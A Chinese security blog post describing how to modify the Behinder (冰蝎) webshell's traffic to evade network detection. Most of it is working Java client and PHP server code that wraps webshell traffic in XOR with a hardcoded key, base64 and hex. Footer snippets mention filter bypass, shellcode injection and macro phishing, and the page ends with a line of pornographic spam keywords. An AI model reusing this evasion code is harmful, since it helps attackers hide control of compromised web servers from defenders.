<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    冰蝎流量免殺初探

    VSole2022-12-20 09:11:06

    0x01 前言

    冰蝎4.0發布以后,可以自定義傳輸協議了,也就是我們能對流量進行改造,本文依據rebeyond大佬文章對冰蝎流量進行改造,記錄一下踩過的坑。

    https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A

    冰蝎傳輸協議模塊

    分為本地和遠程,其中本地模塊只能用java進行編寫,遠程模塊根據webshell的語言類型進行編寫,比如java、php、asp,全部編寫好后要生成服務端,也就是生成我們自己的webshell,用生成后的webshell進行連接。

    借用大佬的圖說明一下加解密流程

    整體流量加解密流程為先對payload進行base64,再轉成十六進制,具體函數往下看。

    0x02 加解密過程

    1、本地加密函數

    private byte[] Encrypt(byte[] data) throws Exception{        //傳入一個字節數組data,對data依據key進行按位異或        String key="e45e329feb5d925b";        for (int i = 0; i < data.length; i++) {            data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));        }        //先轉換成base64,利用反射調用base64編碼        byte[] encrypted = null;        Class baseCls;        try        {            baseCls=Class.forName("java.util.Base64");            Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);            encrypted= (byte[]) Encoder.getClass().getMethod(                    "encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});        }        catch (Throwable error)        {            baseCls=Class.forName("sun.misc.BASE64Encoder");            Object Encoder=baseCls.newInstance();            String result=(String) Encoder.getClass().getMethod(                    "encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});            result=result.replace("", "").replace("\r", "");            encrypted=result.getBytes();        }
            //再改寫成hex,利用DatatypeConverter類的printHexBinary()方法進行轉換        Object obj = null;        try{            Class clazz = Class.forName("javax.xml.bind.DatatypeConverter");            /*            這里返回了一個Object類型,雖然encrypted定義的是字節數組,            但是這里傳進去的時候不知道為什么報的是Object,所以定義一個Object來接收。            這里用printHexBinary()把base64字符串轉成16進制字符串,            printHexBinary()接收一個byte數組,            printHexBinary()是一個靜態方法,invoke第一個參數可以傳入null,             */            obj = clazz.getDeclaredMethod("printHexBinary",new Class[]{byte[].class}).invoke(null,encrypted);        }catch (Throwable error){            System.out.println(error);        }        //因為要求返回字節數組,所以這里先把Object轉成字符串,再轉成字節數組,好像不能直接由object轉byte        byte[] encrypted_hex = obj.toString().toLowerCase().getBytes();        return encrypted_hex;    }
    

    2、本地解密函數

    private byte[] Decrypt(byte[] data) throws Exception    {   //從十六進制轉回base64        String decrypted_hex = new String(data);        byte[] decrypted_base = null;        try{            Class clazz = Class.forName("javax.xml.bind.DatatypeConverter");            /*            這里用parseHexBinary()把16進制字符串轉回base64字符串            parseHexBinary()接收16進制字符串,轉回正常字符串            parseHexBinary()是靜態方法,invoke第一個參數可以為空             */            decrypted_base = (byte[])clazz.getDeclaredMethod("parseHexBinary",String.class).invoke(null,decrypted_hex);        }catch (Throwable error){            System.out.println(error);        }
            //從base64轉回正常字符串
            byte[] decodebs;        Class baseCls ;        try{            baseCls=Class.forName("java.util.Base64");            Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);            decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{decrypted_base});        }        catch (Throwable e)        {            baseCls = Class.forName("sun.misc.BASE64Decoder");            Object Decoder=baseCls.newInstance();            decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(decrypted_base)});
            }        String key="e45e329feb5d925b";        for (int i = 0; i < decodebs.length; i++) {            decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));        }        return decodebs;    }
    

    可以先看一下本地加密的效果

    至此,本地加解密函數完成,下一步我們研究webshell怎么寫。因為本文研究流量免殺,webshell的免殺在此處不做討論。

    3、遠程加密函數

    function Encrypt($data){    $key="e45e329feb5d925b";     for($i=0;$i        $data[$i] = $data[$i]^$key[$i+1&15];     }    $bs="base64_"."encode";    $after=$bs($data."");
        return bin2hex($after);//base64后轉16進制}
    

    4、遠程解密函數

    function Decrypt($data){    $key="e45e329feb5d925b";     $bs="base64_"."decode";    $after=$bs(pack('H*',$data)."");//先解出16進制,再base64解碼    for($i=0;$i        $after[$i] = $after[$i]^$key[$i+1&15];     }
        return $after;}
    

    0x03 效果

    先生成服務端,生成我們自己的webshell

    連接webshell

    用burp抓包看一下流量

    0x04 總結

    本次加解密流程為先base64,再轉成16進制字符串。先轉成base64主要是為了保護原始payload,以免在從十六進制轉回原payload的過程中發生遞歸解析,將原payload中的十六進制字符串也一并解析了。

    本文僅針對冰蝎流量改造進行初步探討,熟悉一下整個流程,真的要繞流量設備,估計還需要其他的技巧。

    字符串函數base64
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    多次測試后發現確實都相等,確定就是標準的Base64編碼。發現與之前的111極為相似。
    在滲透或者CTF中,總會有特殊函數被過濾,如'ls、cat、tac'。防火墻將這些函數加入黑名單,我們需要找一些方法來代替,用fuzz給他們替換,就出現了BYpass思路。學習就是先走一回別人的老路,知識點到量才可以開創自己的新路。
    蟻劍的小tip
    2022-05-26 14:49:12
    STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。
    FortiGuard實驗室最近檢測到一種用Rust編寫的新注入器,它可以注入shellcode并將XWorm引入受害者的環境。雖然Rust在惡意軟件開發中相對不常見,但自2019年以來,已經有幾個活動采用了這種語言,包括Buer loader、Hive和RansomExx。FortiGuard實驗室的分析還顯示,2023年5月期間注入器活動顯著增加,其中shellcode可以使用Base64編碼,
    跑起來直接異常了,只能先靜態看看從IDA中發現有一些加密的字符串,并且加密字符串后續的操作疑是解密過程結合x64dbg在解密函數開頭設置新的運行點可以發現解密的過程就是異或0x1D通過IDA腳本解密出部分xor編碼的字符串import?解密出部分字符串,發現有檢測windows版本的功能,以及C&C深入分析 二進制代碼中有大量的mov操作,以及利用try catch的混淆手段擾亂著代碼塊,靜態看起來比較復雜。,但下斷點后發現在反調試之前就已經異常了。
    分析某app的密碼加密
    2022-03-04 22:10:31
    ) & 0x7F)) 的值:這個ch_hex_map才是最終異或的映射表,打印一下結果:這不完全對應上了嗎?總結:1、計算明文加密好的長度+1填充0x1;2、分組rsa pkcs1v5加密 之后并與128位碼表異或;3、base64,注意編碼順序;后面也是登陸成功了。
    首先使用jadx對apk進行逆向。?搜索關鍵字 QDSign,可以直接找到對應的類,可以看到參數經過加密得到。??進一步跟蹤,發現了c類中有如下三個so方法,還有3個loadlibrary,分別進行了hook,發現c-lib動態注冊了sign,sos動態注冊了s,沒有發現crypto有動態注冊。
    概述最近log4j爆出重大安全漏洞CVE-2021-44228。在觀測了一系列利用log4shell攻擊的活動后,安全研究人員捕獲了一批新樣本,其中包括StealthLoader。獲取了setup.exe,并且下載到兩個地方,然后創建進程。
    根據多次項目實戰中發現,office宏仍然是最高的成功率,在靜默釣魚中也是最不容易觸發人員的警覺。因為大部分員工即使有安全意識,也是不運行陌生的exe程序,但是對于word文檔則沒有足夠的安全意識,認為word文檔都是安全的。正是基于此心理狀態,office宏在釣魚中仍然占據重要成分。
    0x01 介紹根據多次項目實戰中發現,office宏仍然是最高的成功率,在靜默釣魚中也是最不容易觸發人員的警覺。因為大部分員工即使有安全意識,也是不運行陌生的exe程序,但是對于word文檔則沒有足夠的安全意識,認為word文檔都是安全的。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类